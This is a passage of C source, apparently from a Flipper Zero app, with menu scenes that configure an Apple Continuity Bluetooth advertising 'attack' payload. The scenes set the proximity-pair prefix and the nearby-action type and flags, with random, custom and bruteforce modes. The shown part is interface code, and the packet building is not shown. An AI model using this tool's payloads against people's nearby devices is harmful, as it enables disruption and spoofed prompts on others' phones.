NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_pp_color_custom_on_exit(void* _ctx) { UNUSED(_ctx); } static void pp_prefix_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; switch(index) { case 0: cfg->data.proximity_pair.prefix = 0x00; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; case pp_prefixes_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom); break; default: cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; } } void scene_continuity_pp_prefix_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; bool found = false; submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx); if(cfg->data.proximity_pair.prefix == 0x00) { found = true; selected = 0; } for(uint8_t i = 0; i < pp_prefixes_count; i++) { submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx); if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx); if(!found) { selected = pp_prefixes_count + 1; } submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_pp_prefix_on_exit(void* _ctx) { Ctx* ctx = _ctx; submenu_reset(ctx->submenu); } static void pp_prefix_custom_callback(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Prefix"); ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF; byte_input_set_result_callback( byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { UNUSED(_ctx); } static void na_action_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; switch(index) { case 0: payload->mode = PayloadModeRandom; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; case na_actions_count + 1: scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom); break; case na_actions_count + 2: payload->mode = PayloadModeBruteforce; payload->bruteforce.counter = 0; payload->bruteforce.value = cfg->data.nearby_action.action; payload->bruteforce.size = 1; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; default: payload->mode = PayloadModeValue; cfg->data.nearby_action.action = na_actions[index - 1].value; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); break; } } void scene_continuity_na_action_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; Submenu* submenu = ctx->submenu; uint32_t selected = 0; submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); if(payload->mode == PayloadModeRandom) { selected = 0; } bool found = false; for(uint8_t i = 0; i < na_actions_count; i++) { submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx); if(!found && payload->mode == PayloadModeValue && cfg->data.nearby_action.action == na_actions[i].value) { found = true; selected = i + 1; } } submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx); if(!found && payload->mode == PayloadModeValue) { selected = na_actions_count + 1; } submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx); if(payload->mode == PayloadModeBruteforce) { selected = na_actions_count + 2; } submenu_set_selected_item(submenu, selected); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_na_action_on_exit(void* _ctx) { Ctx* ctx = _ctx; submenu_reset(ctx->submenu); } static void na_action_custom_callback(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; payload->mode = PayloadModeValue; cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } void scene_continuity_na_action_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Action Type"); ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF; byte_input_set_result_callback( byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); return true; } return false; } void scene_continuity_na_action_custom_on_exit(void* _ctx) { UNUSED(_ctx); } static void na_flags_callback(void* _ctx) { Ctx* ctx = _ctx; view_dispatcher_send_custom_event(ctx->view_dispatcher, 0); } void scene_continuity_na_flags_on_enter(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Press back for automatic"); ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF; byte_input_set_result_callback( byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; if(event.type == SceneManagerEventTypeCustom) { scene_manager_previous_scene(ctx->scene_manager); return true; } if(event.type == SceneManagerEventTypeBack) { ctx->byte_store[0] = 0x00; } return false; } void scene_continuity_na_flags_on_exit(void* _ctx) { Ctx* ctx = _ctx; Payload* payload = &ctx->attack->payload; ContinuityCfg* cfg = &payload->cfg.continuity; cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); }